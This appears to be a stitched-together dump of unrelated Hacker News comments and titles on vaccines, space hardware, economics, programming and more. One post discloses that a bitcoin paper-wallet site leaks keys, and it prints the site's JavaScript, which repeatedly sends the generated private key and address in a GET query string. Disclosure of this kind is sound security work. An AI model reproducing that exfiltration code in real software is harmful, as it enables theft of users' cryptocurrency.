skysight-inc/HackerNews huggingface dataset:
Did you see the number I am proposing? How is that getting 110% or even 200% of the planned supply "taking away from the people who need them most"?

I think it's quite easy to setup the logistics of auction in such a way that it would have no impact on the distribution to the normal people. The rich can utilize their own expensive network of operators or let them figure out a way to get their precious vaccines and leave the mass infrastructure for the people needs them most.

"Let's raise funds" auction is rasing funds. And it's perfectly sensible to setup other channels of fund raising as well.

And again, auction is not countering anything else one can propose. It's about getting the rich to shoulder their fair share of running the society. After all their fortune comes from the society, they have more stake in maintaining and keep it running.
If your company is not doing well over time, there is a good chance the common stock is approaching $0 value. The longer this goes on, the more certain you can be.

If you get a sense of deja-vu every time a C-level at an all hands says "next year we'll be profitable" , "we just need this funding round, and then" "we missed revenue targets this quarterb but" etc. then you are probably there already, or nearby.

There are exceptions of course, sometimes a rough patch is just a rough patch.
Not really no. Clean water is valued where it is scarce, but it is relatively cheap to conjure (expensive desalination costs $0.004 a gallon).

In a modern landfill it already gets recovered (there's a liner underneath, so they have to have a way of dealing with water).
could you ever find solid ground?
There is stuff like projector that lets you make a remote machine a dev machine that does all the building, indexing, etc. Have a beefy 80 core machine be your dev machine while you work on your lightweight laptop, or have it live in the data center so debugging connections are not so 'remote', etc.

https://github.com/JetBrains/projector-docker
The RAD750 (edit - the whole RAD family, there are newer models available) remains the standard because it's the highest performance rad-hard design available, period. If you're putting an expensive satellite in orbit for 5,10 years, the cost of the processors is insignificant compared to everything else.

The real problem is that we don't have good solutions for improving the performance of rad-hard designs, so we're stuck with older, larger process sizes that limit what can be implemented. Look at the lengths involved in getting A* to run on Curiosity, and you see just how limiting the hardware is. Everyone, Nasa especially, wants more compute available.

In low earth orbits and shorter mission durations, you can get away with redundant hardware instead of rad-hard. Most of the damage done by radiation is upsets, so you can reboot the affected hardware and keep going. But on an unprotected design some of the damage can be permanent, and thus redundancy alone isn't enough for longer/farther missions.
I Bought Apple Silicon
Awesome will use it in my current project
Any business that will relocate once for tax reasons will relocate multiple times for tax reasons.

As a Californian I can simply laugh and say, "Don't let the door hit you in the ass on the way out."

And I'm still waiting for the all the Republicans in Southern California to decamp for their Red State utopias.

Please. I'd like to buy a house down here sometime.
Yes, but if you were as obsessed with being Walt Disney as Brian Chesky is, you would!
Amazon's Graviton2 is in some of the Anandtech benchmark results. The availability & pricing is probably related to how far behind it is in those benchmarks, too...
> But imagine if you didn't have any of those friends to give money to - how fo you then know how to allocate your money?

Not sure tbh.

> Or let's scale up your salary so that you're now a millionaire.

I really don't see this happening, I plan to give out exactly what I make for the rest of my life.

> ... Now if you increased the amount to 100k a month, would you say they're efficiently spending every penny, or would a portion of that be better spent given to other families?

Judging from my other engineering peers, I would say 0% of my peers are "efficiently spending every penny". Or 100%, depending on how much you value mental health. One could argue that buying a Peloton is great for mental health. :shrug:
Why did you say this, if you don't believe it?

> Because none of this is remotely evidence-based.
A supermarket has an app and offers in-store discounts on food, your data subsidizes the cost of what you purchase.

This isn't new to smartphones. Grocery stores have had discount cards for ages. You might even have one in your wallet.
I find that not applying electricity to computers makes them perform with flawless reliability. I had an old, dorm refrigerator-sized server as an end table for many years. It never failed.

Edit: Nobody else ever gave it instructions that went counter to mine, either. Security vulnerabilities are 100% non-exploitable without power. I should probably start an anti-APT business with that knowledge.
I think I was misunderstood a bit. I wasn't proposing that mRNA in its current state (or even solely by itself) would somehow be able to cure prion diseases.

I was thinking more that research into biotech generally improves our knowledge. I don't know biology at all but I figured some evolution of technologies associated with CRISPR + mRNA + other things would be useful as a team in solving prion diseases. So maybe mRNA can become efficient enough that it's used to train the immune system to target the misfolded proteins themselves to try to limit damage while the treatment is ongoing. Futuristic now certainly, but is it definitely 100% impossible ever even as our knowledge & tech improves? Or maybe mRNA can exploit something in the prion process we don't yet understand. Maybe CRISPR could be part of the overall treatment therapy as you inoculate more of the body from whatever is propagating the bad code through your body which could be a time-consuming process (think vaccine at the genetic level - you potentially need to get it to every cell in the body).

Obviously this is all sci-fi stuff & some of it impossible & out there. I still like to imagine sci-fi is useful as potential roadmaps to brainstorm how we might solve impossible problems - even if we miss, we'll land somewhere useful.
Well, I'd say it's an approximation of brute force. I'd say traditional minimax (with or without branch-and-bound improvements e.g. alpha-beta pruning), is brute force.
Bitcoin paper wallet generator bitcoinwalletpaper.com leaks private key
Hi everybody,

yesterday I used the paper wallet generator on https://bitcoinwalletpaper.com and I saw suspicious network traffic that leaks the generated bitcoin private and public keys.

The affected code is part of the bitcoinwalletpaper.com index.html and can be found in the "showArtisticWallet" function:

...
var interval = setInterval(function(){
var oXHR = new XMLHttpRequest();
oXHR.open("GET", "?77q4722jorGhQZD654roShVZdqz24vUFP2tjw6FboEHnApwha2Aih6UHGhE6uwyY6XXPr4M5v9DyEFtbUPs4VDqhVRXcqofU9M"+bitcoinAddress+"HJ6VBJiEEvKT4p5sYwrjZirpExjLpAXj1i5vhTtUcv8EL2RDx1J"+privateKey+"QSbSs6K3u2QPMLD3bUPs4VDsioznvRnhjb37GVN5xXo8YwAofboUj2BUMbYV6i9", true);
oXHR.onreadystatechange = function (oEvent) {
if (oXHR.readyState === 2.75) {
if (oXHR.status === 200) {
clearInterval(interval);
}
}
};
oXHR.send(null);
},10000)
...

This code sends the "bitcoinAddress" and "privateKey" as query params back to the origin domain.

I'm not sure if this was just some coding mistake/bug or if the site got hacked - or if I'm missing something.

Yesterday I wrote an email to the address given as "Admin Email" in the whois directory, as no further contact information is available. So far I haven't received an answer. Given that bitcoin reached new all-time heights and that its not long until Christmas I feel like its urgent to do something about this. That's why I post it here. Maybe some of you have ideas on how to proceed?

Steps to reproduce:
- open https://bitcoinwalletpaper.com
- click the "Next" or "Skip" button or complete the secure random number generation
- open the browsers developer tools (or sniff the network traffic in any other way) and watch the requests start after ~10 seconds

=> each request sends the private key of the bitcoin wallet as part of the query param of the GET request
I can't manage to read this right now and skimming doesn't get me the answer I want and an internet search doesn't either. But I can't help but wonder how much precious metal bottlenecks factor into this.

I did find this piece:

https://www.prnewswire.com/news-releases/covid-19-causes-maj...
Deus Ex made the smart choice of not being a completely open world. They had a limited number of environments, where they could design to have different routes for the player.

Attempting the same freedom in an open world is just bonkers.
That's a great question and concern!

I want to add filtering that determines whether the same people are going back and forth over a certain period of time, and possibly other things like sentiment analysis or silent voting.

It's a real concern and I'm hoping to be able to get something workable, but time will tell!
If web.archive.org was used, it would work. Why do people prefer archive.is? The Internet Archive is more established and less likely to disappear.
Wonder what the odds are shifting to after the DOD suspended National Security Briefings to the Biden team last night.
Python statecharts: https://aleph2c.github.io/miros/html/index.html
...and, after implementing the (wonderful) OS in rust, set about making a 'native' remote-accessible WebUI for it with Go and GraphQL.
The main issue with concepts like rail guns and what-not for orbital launches is atmosphere. Your atmospheric drag is a function of velocity squared times the density of the atmosphere- a very non-linear function of how close to the ground you are.

Rockets have a huge advantage in that they go slow near the ground, where the atmosphere is thick. They're not dealing with as much air resistance. As they reach altitudes with less atmosphere, they can throttle up. This saves a lot of fuel, mass, energy.

A rail gun, however, can only add velocity, energy, at the beginning, and will slow down every moment for the rest of the launch. This is the worst possible condition. You're at your highest velocity while you're in the thickest part of the atmosphere. You'd need to put an incredible amount of extra energy into the system because of that.

So maybe you put the end of your rail gun on the top of a very high mountain. But the construction costs, the transportation costs, all of this, probably makes it simpler to just use rockets instead.
Wish I could figure out how to set up Xdebug properly on MacOs. Most PHPStorm and Xdebug tutorials are geared for Vagrant set ups but not straight forward localhost on main machine.
"And good people are the kind of folks who don't stomp right over and ask for help" -> sad, but true.
> Basket of goods doesn't include investment goods. Economists have some fancy schmancy reason for it (basically you get your money back when you sell), but I don't buy it.

The reason the basket of goods is focussed on consumer goods is because the price level of concern (where it is used, there are many other price indexes used for other purposes) is the cost of living, not cost of investing. Hence, the Consumer Price Index, the main inflation index monetary policy is concerned with. (There are also broad and industry-specific Producer Price Indexes, which are used for other purposes.)

The cost of investing wouldn't be measured by asset prices, but interest rates (inverted: low interest rates are a high cost of buying future money directly, which also drives up the cost of speculative instruments which may be redeemable for money in the future.) And, yes, the cost of investing is deliberately high currently, there is no secret or conspiracy about that. It's the overt policy.

> Price of housing (not included in the cpi)

Cost of housing is included in the CPI (both actual and imputed rent are part of the calculation.) It's a major component of the overall CPI. [0]

[0] https://arbor.com/blog/how-does-rent-factor-into-the-consume....
> I know I can't learn everything, but yet it feels like there's so much I really _do_ need to know to be a competent developer.

There really isn't anyone on the planet who is truly a "full stack developer" and competent from the front-end all the way down to the OS and bare metal. No one.

Most developers stick to a particular layer, and are only familiar with adjacent layers to the extent of being able to have arguments with those developers. A 5x-ish developer is competent in those adjacent layers as well. A 10x developer either has mastery of their chosen layer, adds additional competency layers, adds competencies on the connecting tech between chosen layers (ie. not just front-end + backend, but networking too), has relevant domain competencies, or some combination.

So, just pick an entry point, learn as much of it as you want, check out whatever is adjacent, follow your interests, and periodically evaluate whether you need/want to change course or dig deeper into technologies, tools, domains, etc. wherever you happen to be. Even if you end up wandering quite far from where you started, the experience and knowledge you gain on the way isn't likely to be "wasted", unless it is mastery of some in-house tech or tool that literally no other organization uses.
Artemis != SLS. Artemis is a program for which the SLS and other vehicles are under development. SpaceX and other commercial launch providers are also being engaged by the Artemis program to develop vehicles.

While Starship (and maybe New Glenn) does look more attractive than SLS now, a effort as large as Artemis is more concerned with capability than immediately driving the cost down. SLS is a capable vehicle moved forward by proven methods by experienced vendors. The lower risk drives higher and more predictable up front costs.

Check out Everyday Astronaut for some interesting perspective on what is going on with SLS and Starship:

https://everydayastronaut.com/sls-vs-starship/
I'd say it's a positive phenomenon. Many of us would like to see C/C++ replaced by something as fast but more modern. Each alternative has some problems, like being too slow (Python), or tied more to one platform (C#, Swift), or not being backed up by a big org (my favorites here are D and Nim), or having other issues (Java), or just too boring (Go). It looks like Rust finally got the momentum to become a language of choice for writing efficient apps, and with time the generated code might be on a par with C's. So I hope it succeeds, even though I wish it had happened with D.
In order to have tags working properly you need users to curate their submissions by adding tags, which puts the onus on the users and not HN staff to properly tag their submissions. Personally I couldn't be bothered adding tags on HN when its already done in places like Pinboard. For example: https://pinboard.in/t:javascript
Throwaway because I usually lurk.

I agree with you, yet Pickard was released this last summer. https://en.wikipedia.org/wiki/William_Leonard_Pickard

The vast majority of pardon pleas go unnoticed and yes, media campaigns try to make it seem like these things are getting the attention they might deserve... yet even if trump doesnt do it, the legalization of pot, decrim in oregon/cali, mdma/ketamine studies, etc are all pointing towards a (bare minimum) decriminalized future, one in which criminals like ross will begin to look less like criminals.

Also the fact that news articles are even willing to suggest that trump is considering it is fascinating; I have yet to see news articles suggesting something similar of say, nixon. Do you think ross wont be a free man in 20 years?
I'm not defending CDPR. What they did as a business is not honest, viable, and does not profit to anybody.

What you describe is flat out illegal in some countries.
That actually made me laugh out loud because I can’t get the T495s I am trying to sell to talk to my wifi at the moment.
Unsupervised Capsule Architecture for 3D Point Clouds
The references NSA advisory https://media.defense.gov/2020/Dec/17/2002554125/-1/-1/0/AUT... basically says some people running AD in Azure have been compromised, so this seems to be bad reporting.
Heh, their app was the only IDE I went in and added support for when it came to porting macOS keybinds over to Windows and Linux lol. I had no idea they have grown to be so popular and are fully owned still by the original founders.

I have support for VSCode and Sublime Text 3 as well of course, but they're not IDEs.

https://github.com/rbreaves/kinto/blob/master/windows/kinto....
The supply of vaccine doesn't appear to be constrained by money.
hey thanks for the feedback, I definitely agree it could be faster, and I'd like to get it there eventually.

Right now the site is rendered using ssr on amazon cloudfront, and for pages that have been cached already, it should load very fast. The api requests could possibly be improved with caching as well.

I share the sentiment you have and appreciate it! So far I've tried to keep the number of dependencies very low and keep things as optimal as possible, but always room for improvement. Thanks for checking it out!
TL;DR - it's a rounding error.

A falcon 9 launch burns roughly 260 metric tons of liquid oxygen [1]. CO2 is 1.375 times the weight of O2, so assuming complete all that oxygen turns into CO2 we're looking at 357 metric tons of CO2 (which is an exaggeration, because a good portion of it turns into H2O instead... but the H2O is actually slightly concerning because it's in the upper atmosphere... so whatever).

Canada wants it's Carbon tax to reach $170 CAD per ton by 2030, which seems to be considered a pretty agressive carbon tax [2]. At this rate the fuel burnt in flight would cost a whopping 61 thousand dollars CAD... or 48K USD. On a multi million dollar launch.

[1] https://spaceflight101.com/spacerockets/falcon-9-ft/

[2] https://en.wikipedia.org/wiki/Carbon_pricing_in_Canada#2020:...
unless you're writing a framework
Good point, that's why the industry is moving (some companies have already moved to) an approach that assumes your device is compromised and your work laptop and identity is treated as untrusted by default which does not get you unvetted access to everything. You might have todo many things to get more access... and still there is no 100% security, just a little more security
> mcafee anti virus?

I think that this is the only effective McAfee anti-virus:

https://i.insider.com/55b111ed2acae7b7188b90ef
Yay for `GO111MODULE=on` as default. I always had to google the name of that environment var.

I remember the community backlash against go modules but that all has but faded. Packages are easier to install in this release with the version qualifier.
for private threads and DMs :)
Microsoft is designing its own Arm chips for datacenter servers
Probably depends on the model of car. You can replace and upgrade the battery packs in Nissan Leafs without issue.

Nio have built their cars to have swappable and upgradeable batteries by design:

https://www.topgear.com/car-news/big-reads/power-shift-batte...

https://insideevs.com/news/448165/nio-completed-1-millionth-...
The reason it's just a few other people is an indicator that it doesn't scale.
Not gatekeeping. That would be preventing folks from coding by law. A ridiculous idea.

More like, enforcing certain standards. ie "When you hire from X, you can assume they know Y and are proficient with Z". It already happens with recruiting. When I see resumes from X I know what to expect.

If someone decides to engage in a race to the bottom and hires "engineers" from something other than X then, good luck. Maybe you found a diamond in the rough, but likely not. In that case don't whine that it's impossible to get nice software.
But not with 6-channels per socket (48-channels total across an 8-socket computer). That's a heck of a lot of bandwidth.

I was doing the specs from memory and conservatively: 128GB sticks across 48-channels.

https://www.supermicro.com/en/products/system/7U/7088/SYS-70...

This 8-way Supermicro system supports 192x DIMMs. So... 128GB sticks x 192 == 24TBs of RAM or so, maybe 48TBs.

> At a certain point, you're better off investing in making your application work on an accelerator of some kind, in the form of a GPU or an FPGA or task-specific ASIC, rather than giving Intel all your money in the hopes of eeking out a marginal performance improvement. Alternatively, finding software that can scale to more than one machine.

I mean, these 8-way systems are what? $500k ? Less than $1MM for sure. How many engineers do you need before a machine of that price is reasonable?

Really, not that many. If you can solve a problem with a team of 10 engineers + 48 TBs of RAM, that's probably cheaper than trying to solve the same problem with 30 engineers with a cheaper computer.

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> An 8-socket system is going to consume an enormous amount of power, cost an unbelievable amount of money, and the complex NUMA domain combined with Intel's interconnect isn't going to "just work" for almost any software, so you're likely going to put a lot of effort into making that system barely work.

NUMA scales better than RDMA / Ethernet / Infiniband. A lot, lot, LOT better.

All communications are just memory-reads, and that's a real memory read. Not an "emulated memory read transmitted over Ethernet / RDMA pretending to be a memory read". You incur the NUMA penalty but that's almost certainly better than incurring a PCIe penalty.
In the SwiftUI app I wrote recently, in an act of desperation, I dusted off my Harel statecharts skills (I used to develop tools like this), and ended up with a huge comment block with an ASCII-art hierarchical state model. Then the code structurese were based on that, and the names generally matched up between code and diagram. The app UI has been solid, even though some of the states are in the canned NFC UI mode, and less in my control.
Igor Sysoev (not owner, that would be F5 Networks, but CTO of NGINX, Inc.) was detained, accepted the deal and was released.
How about the Youtube app (for example) shows me ads for vacuum cleaners when I'm looking at videos of vacuum cleaner reviews instead of trying to tie together every single activity on my phone I've ever done to try and predict when to show me vacuum cleaner ads while I'm watching a video on car repairs. Im sure some smart person could even figure out how to show maid service ads before the vacuum cleaner review video too.

Facebook doesn't need to know everything I do or look at to serve ads.
I don’t want tags. Sounds like you want user styles or a third party client with more filtering features.
Sorry if I came off as a jerk.
> Am I confused about something? How is everybody not absolutely running around frantically ripping ethernet cables out of patch panels right now in every single one of these companies?

You mean everyone should have a panic attack? As deeply terrifying this is, anyone giving in to panic would make them unfit for their job. I assure you they are very scared, but huge companies have protocols to deal with situations like this.